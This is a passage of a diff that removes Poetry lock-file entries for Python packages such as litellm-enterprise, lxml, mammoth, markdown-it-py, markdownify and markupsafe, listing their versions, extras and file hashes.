== \"proxy\""} -rq = {version = "*", optional = true, markers = "extra == \"proxy\""} -tiktoken = ">=0.7.0" -tokenizers = "*" -uvicorn = {version = ">=0.29.0,<0.30.0", optional = true, markers = "extra == \"proxy\""} -uvloop = {version = ">=0.21.0,<0.22.0", optional = true, markers = "sys_platform != \"win32\" and extra == \"proxy\""} -websockets = {version = ">=13.1.0,<14.0.0", optional = true, markers = "extra == \"proxy\""} - -[package.extras] -caching = ["diskcache (>=5.6.1,<6.0.0)"] -extra-proxy = ["azure-identity (>=1.15.0,<2.0.0)", "azure-keyvault-secrets (>=4.8.0,<5.0.0)", "google-cloud-iam (>=2.19.1,<3.0.0)", "google-cloud-kms (>=2.21.3,<3.0.0)", "prisma (==0.11.0)", "redisvl (>=0.4.1,<0.5.0)", "resend (>=0.8.0,<0.9.0)"] -mlflow = ["mlflow (>3.1.4)"] -proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.16)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"] -semantic-router = ["semantic-router"] -utils = ["numpydoc"] - -[[package]] -name = "litellm-enterprise" -version = "0.1.19" -description = "Package for LiteLLM Enterprise features" -optional = false -python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" -groups = ["main"] -files = [ - {file = "litellm_enterprise-0.1.19.tar.gz", hash = "sha256:a70794a9c66f069f6eb73b283639f783ac4138ec2684058a696e8d6210cdc4fa"}, -] - -[[package]] -name = "litellm-proxy-extras" -version = "0.2.16" -description = "Additional files for the LiteLLM Proxy. Reduces the size of the main litellm package." -optional = false -python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" -groups = ["main"] -files = [ - {file = "litellm_proxy_extras-0.2.16.tar.gz", hash = "sha256:81a1e8a172feb7da86985f529e891ca7be66ba293ae3e716bf69b266fa776a04"}, -] - -[[package]] -name = "lxml" -version = "6.0.0" -description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "lxml-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:35bc626eec405f745199200ccb5c6b36f202675d204aa29bb52e27ba2b71dea8"}, - {file = "lxml-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:246b40f8a4aec341cbbf52617cad8ab7c888d944bfe12a6abd2b1f6cfb6f6082"}, - {file = "lxml-6.0.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:2793a627e95d119e9f1e19720730472f5543a6d84c50ea33313ce328d870f2dd"}, - {file = "lxml-6.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:46b9ed911f36bfeb6338e0b482e7fe7c27d362c52fde29f221fddbc9ee2227e7"}, - {file = "lxml-6.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2b4790b558bee331a933e08883c423f65bbcd07e278f91b2272489e31ab1e2b4"}, - {file = "lxml-6.0.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e2030956cf4886b10be9a0285c6802e078ec2391e1dd7ff3eb509c2c95a69b76"}, - {file = "lxml-6.0.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d23854ecf381ab1facc8f353dcd9adeddef3652268ee75297c1164c987c11dc"}, - {file = "lxml-6.0.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:43fe5af2d590bf4691531b1d9a2495d7aab2090547eaacd224a3afec95706d76"}, - {file = "lxml-6.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74e748012f8c19b47f7d6321ac929a9a94ee92ef12bc4298c47e8b7219b26541"}, - {file = "lxml-6.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:43cfbb7db02b30ad3926e8fceaef260ba2fb7df787e38fa2df890c1ca7966c3b"}, - {file = "lxml-6.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:34190a1ec4f1e84af256495436b2d196529c3f2094f0af80202947567fdbf2e7"}, - {file = "lxml-6.0.0-cp310-cp310-win32.whl", hash = "sha256:5967fe415b1920a3877a4195e9a2b779249630ee49ece22021c690320ff07452"}, - {file = "lxml-6.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:f3389924581d9a770c6caa4df4e74b606180869043b9073e2cec324bad6e306e"}, - {file = "lxml-6.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:522fe7abb41309e9543b0d9b8b434f2b630c5fdaf6482bee642b34c8c70079c8"}, - {file = "lxml-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4ee56288d0df919e4aac43b539dd0e34bb55d6a12a6562038e8d6f3ed07f9e36"}, - {file = "lxml-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b8dd6dd0e9c1992613ccda2bcb74fc9d49159dbe0f0ca4753f37527749885c25"}, - {file = "lxml-6.0.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:d7ae472f74afcc47320238b5dbfd363aba111a525943c8a34a1b657c6be934c3"}, - {file = "lxml-6.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5592401cdf3dc682194727c1ddaa8aa0f3ddc57ca64fd03226a430b955eab6f6"}, - {file = "lxml-6.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:58ffd35bd5425c3c3b9692d078bf7ab851441434531a7e517c4984d5634cd65b"}, - {file = "lxml-6.0.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f720a14aa102a38907c6d5030e3d66b3b680c3e6f6bc95473931ea3c00c59967"}, - {file = "lxml-6.0.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c2a5e8d207311a0170aca0eb6b160af91adc29ec121832e4ac151a57743a1e1e"}, - {file = "lxml-6.0.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:2dd1cc3ea7e60bfb31ff32cafe07e24839df573a5e7c2d33304082a5019bcd58"}, - {file = "lxml-6.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2cfcf84f1defed7e5798ef4f88aa25fcc52d279be731ce904789aa7ccfb7e8d2"}, - {file = "lxml-6.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a52a4704811e2623b0324a18d41ad4b9fabf43ce5ff99b14e40a520e2190c851"}, - {file = "lxml-6.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c16304bba98f48a28ae10e32a8e75c349dd742c45156f297e16eeb1ba9287a1f"}, - {file = "lxml-6.0.0-cp311-cp311-win32.whl", hash = "sha256:f8d19565ae3eb956d84da3ef367aa7def14a2735d05bd275cd54c0301f0d0d6c"}, - {file = "lxml-6.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:b2d71cdefda9424adff9a3607ba5bbfc60ee972d73c21c7e3c19e71037574816"}, - {file = "lxml-6.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:8a2e76efbf8772add72d002d67a4c3d0958638696f541734304c7f28217a9cab"}, - {file = "lxml-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:78718d8454a6e928470d511bf8ac93f469283a45c354995f7d19e77292f26108"}, - {file = "lxml-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:84ef591495ffd3f9dcabffd6391db7bb70d7230b5c35ef5148354a134f56f2be"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:2930aa001a3776c3e2601cb8e0a15d21b8270528d89cc308be4843ade546b9ab"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:219e0431ea8006e15005767f0351e3f7f9143e793e58519dc97fe9e07fae5563"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bd5913b4972681ffc9718bc2d4c53cde39ef81415e1671ff93e9aa30b46595e7"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:390240baeb9f415a82eefc2e13285016f9c8b5ad71ec80574ae8fa9605093cd7"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux_2_27_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d6e200909a119626744dd81bae409fc44134389e03fbf1d68ed2a55a2fb10991"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ca50bd612438258a91b5b3788c6621c1f05c8c478e7951899f492be42defc0da"}, - {file = "lxml-6.0.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:c24b8efd9c0f62bad0439283c2c795ef916c5a6b75f03c17799775c7ae3c0c9e"}, - {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:afd27d8629ae94c5d863e32ab0e1d5590371d296b87dae0a751fb22bf3685741"}, - {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:54c4855eabd9fc29707d30141be99e5cd1102e7d2258d2892314cf4c110726c3"}, - {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c907516d49f77f6cd8ead1322198bdfd902003c3c330c77a1c5f3cc32a0e4d16"}, - {file = "lxml-6.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36531f81c8214e293097cd2b7873f178997dae33d3667caaae8bdfb9666b76c0"}, - {file = "lxml-6.0.0-cp312-cp312-win32.whl", hash = "sha256:690b20e3388a7ec98e899fd54c924e50ba6693874aa65ef9cb53de7f7de9d64a"}, - {file = "lxml-6.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:310b719b695b3dd442cdfbbe64936b2f2e231bb91d998e99e6f0daf991a3eba3"}, - {file = "lxml-6.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:8cb26f51c82d77483cdcd2b4a53cda55bbee29b3c2f3ddeb47182a2a9064e4eb"}, - {file = "lxml-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6da7cd4f405fd7db56e51e96bff0865b9853ae70df0e6720624049da76bde2da"}, - {file = "lxml-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b34339898bb556a2351a1830f88f751679f343eabf9cf05841c95b165152c9e7"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:51a5e4c61a4541bd1cd3ba74766d0c9b6c12d6a1a4964ef60026832aac8e79b3"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d18a25b19ca7307045581b18b3ec9ead2b1db5ccd8719c291f0cd0a5cec6cb81"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d4f0c66df4386b75d2ab1e20a489f30dc7fd9a06a896d64980541506086be1f1"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9f4b481b6cc3a897adb4279216695150bbe7a44c03daba3c894f49d2037e0a24"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux_2_27_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8a78d6c9168f5bcb20971bf3329c2b83078611fbe1f807baadc64afc70523b3a"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ae06fbab4f1bb7db4f7c8ca9897dc8db4447d1a2b9bee78474ad403437bcc29"}, - {file = "lxml-6.0.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:1fa377b827ca2023244a06554c6e7dc6828a10aaf74ca41965c5d8a4925aebb4"}, - {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1676b56d48048a62ef77a250428d1f31f610763636e0784ba67a9740823988ca"}, - {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0e32698462aacc5c1cf6bdfebc9c781821b7e74c79f13e5ffc8bfe27c42b1abf"}, - {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4d6036c3a296707357efb375cfc24bb64cd955b9ec731abf11ebb1e40063949f"}, - {file = "lxml-6.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7488a43033c958637b1a08cddc9188eb06d3ad36582cebc7d4815980b47e27ef"}, - {file = "lxml-6.0.0-cp313-cp313-win32.whl", hash = "sha256:5fcd7d3b1d8ecb91445bd71b9c88bdbeae528fefee4f379895becfc72298d181"}, - {file = "lxml-6.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:2f34687222b78fff795feeb799a7d44eca2477c3d9d3a46ce17d51a4f383e32e"}, - {file = "lxml-6.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:21db1ec5525780fd07251636eb5f7acb84003e9382c72c18c542a87c416ade03"}, - {file = "lxml-6.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:4eb114a0754fd00075c12648d991ec7a4357f9cb873042cc9a77bf3a7e30c9db"}, - {file = "lxml-6.0.0-cp38-cp38-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:7da298e1659e45d151b4028ad5c7974917e108afb48731f4ed785d02b6818994"}, - {file = "lxml-6.0.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7bf61bc4345c1895221357af8f3e89f8c103d93156ef326532d35c707e2fb19d"}, - {file = "lxml-6.0.0-cp38-cp38-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63b634facdfbad421d4b61c90735688465d4ab3a8853ac22c76ccac2baf98d97"}, - {file = "lxml-6.0.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:e380e85b93f148ad28ac15f8117e2fd8e5437aa7732d65e260134f83ce67911b"}, - {file = "lxml-6.0.0-cp38-cp38-win32.whl", hash = "sha256:185efc2fed89cdd97552585c624d3c908f0464090f4b91f7d92f8ed2f3b18f54"}, - {file = "lxml-6.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:f97487996a39cb18278ca33f7be98198f278d0bc3c5d0fd4d7b3d63646ca3c8a"}, - {file = "lxml-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:85b14a4689d5cff426c12eefe750738648706ea2753b20c2f973b2a000d3d261"}, - {file = "lxml-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f64ccf593916e93b8d36ed55401bb7fe9c7d5de3180ce2e10b08f82a8f397316"}, - {file = "lxml-6.0.0-cp39-cp39-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:b372d10d17a701b0945f67be58fae4664fd056b85e0ff0fbc1e6c951cdbc0512"}, - {file = "lxml-6.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a674c0948789e9136d69065cc28009c1b1874c6ea340253db58be7622ce6398f"}, - {file = "lxml-6.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:edf6e4c8fe14dfe316939711e3ece3f9a20760aabf686051b537a7562f4da91a"}, - {file = "lxml-6.0.0-cp39-cp39-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:048a930eb4572829604982e39a0c7289ab5dc8abc7fc9f5aabd6fbc08c154e93"}, - {file = "lxml-6.0.0-cp39-cp39-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0b5fa5eda84057a4f1bbb4bb77a8c28ff20ae7ce211588d698ae453e13c6281"}, - {file = "lxml-6.0.0-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:c352fc8f36f7e9727db17adbf93f82499457b3d7e5511368569b4c5bd155a922"}, - {file = "lxml-6.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8db5dc617cb937ae17ff3403c3a70a7de9df4852a046f93e71edaec678f721d0"}, - {file = "lxml-6.0.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:2181e4b1d07dde53986023482673c0f1fba5178ef800f9ab95ad791e8bdded6a"}, - {file = "lxml-6.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b3c98d5b24c6095e89e03d65d5c574705be3d49c0d8ca10c17a8a4b5201b72f5"}, - {file = "lxml-6.0.0-cp39-cp39-win32.whl", hash = "sha256:04d67ceee6db4bcb92987ccb16e53bef6b42ced872509f333c04fb58a3315256"}, - {file = "lxml-6.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:e0b1520ef900e9ef62e392dd3d7ae4f5fa224d1dd62897a792cf353eb20b6cae"}, - {file = "lxml-6.0.0-cp39-cp39-win_arm64.whl", hash = "sha256:e35e8aaaf3981489f42884b59726693de32dabfc438ac10ef4eb3409961fd402"}, - {file = "lxml-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:dbdd7679a6f4f08152818043dbb39491d1af3332128b3752c3ec5cebc0011a72"}, - {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:40442e2a4456e9910875ac12951476d36c0870dcb38a68719f8c4686609897c4"}, - {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db0efd6bae1c4730b9c863fc4f5f3c0fa3e8f05cae2c44ae141cb9dfc7d091dc"}, - {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ab542c91f5a47aaa58abdd8ea84b498e8e49fe4b883d67800017757a3eb78e8"}, - {file = "lxml-6.0.0-pp310-pypy310_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:013090383863b72c62a702d07678b658fa2567aa58d373d963cca245b017e065"}, - {file = "lxml-6.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c86df1c9af35d903d2b52d22ea3e66db8058d21dc0f59842ca5deb0595921141"}, - {file = "lxml-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4337e4aec93b7c011f7ee2e357b0d30562edd1955620fdd4aeab6aacd90d43c5"}, - {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ae74f7c762270196d2dda56f8dd7309411f08a4084ff2dfcc0b095a218df2e06"}, - {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:059c4cbf3973a621b62ea3132934ae737da2c132a788e6cfb9b08d63a0ef73f9"}, - {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f090a9bc0ce8da51a5632092f98a7e7f84bca26f33d161a98b57f7fb0004ca"}, - {file = "lxml-6.0.0-pp39-pypy39_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9da022c14baeec36edfcc8daf0e281e2f55b950249a455776f0d1adeeada4734"}, - {file = "lxml-6.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a55da151d0b0c6ab176b4e761670ac0e2667817a1e0dadd04a01d0561a219349"}, - {file = "lxml-6.0.0.tar.gz", hash = "sha256:032e65120339d44cdc3efc326c9f660f5f7205f3a535c1fdbf898b29ea01fb72"}, -] - -[package.extras] -cssselect = ["cssselect (>=0.7)"] -html-clean = ["lxml_html_clean"] -html5 = ["html5lib"] -htmlsoup = ["BeautifulSoup4"] - -[[package]] -name = "mammoth" -version = "1.10.0" -description = "Convert Word documents from docx to simple and clean HTML and Markdown" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "mammoth-1.10.0-py2.py3-none-any.whl", hash = "sha256:a1c87d5b98ca30230394267f98614b58b14b50f8031dc33ac9a535c6ab04eb99"}, - {file = "mammoth-1.10.0.tar.gz", hash = "sha256:cb6fbba41ccf8b5502859c457177d87a833fef0e0b1d4e6fd23ec372fe892c30"}, -] - -[package.dependencies] -cobble = ">=0.1.3,<0.2" - -[[package]] -name = "markdown-it-py" -version = "4.0.0" -description = "Python port of markdown-it. Markdown parsing, done right!" -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147"}, - {file = "markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3"}, -] - -[package.dependencies] -linkify-it-py = {version = ">=1,<3", optional = true, markers = "extra == \"linkify\""} -mdit-py-plugins = {version = ">=0.5.0", optional = true, markers = "extra == \"plugins\""} -mdurl = ">=0.1,<1.0" - -[package.extras] -benchmarking = ["psutil", "pytest", "pytest-benchmark"] -compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "markdown-it-pyrs", "mistletoe (>=1.0,<2.0)", "mistune (>=3.0,<4.0)", "panflute (>=2.3,<3.0)"] -linkify = ["linkify-it-py (>=1,<3)"] -plugins = ["mdit-py-plugins (>=0.5.0)"] -profiling = ["gprof2dot"] -rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] -testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"] - -[[package]] -name = "markdownify" -version = "1.2.0" -description = "Convert HTML to markdown." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "markdownify-1.2.0-py3-none-any.whl", hash = "sha256:48e150a1c4993d4d50f282f725c0111bd9eb25645d41fa2f543708fd44161351"}, - {file = "markdownify-1.2.0.tar.gz", hash = "sha256:f6c367c54eb24ee953921804dfe6d6575c5e5b42c643955e7242034435de634c"}, -] - -[package.dependencies] -beautifulsoup4 = ">=4.9,<5" -six = ">=1.15,<2" - -[[package]] -name = "markupsafe" -version = "3.0.2" -description = "Safely add untrusted strings to HTML/XML markup." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, - {file = 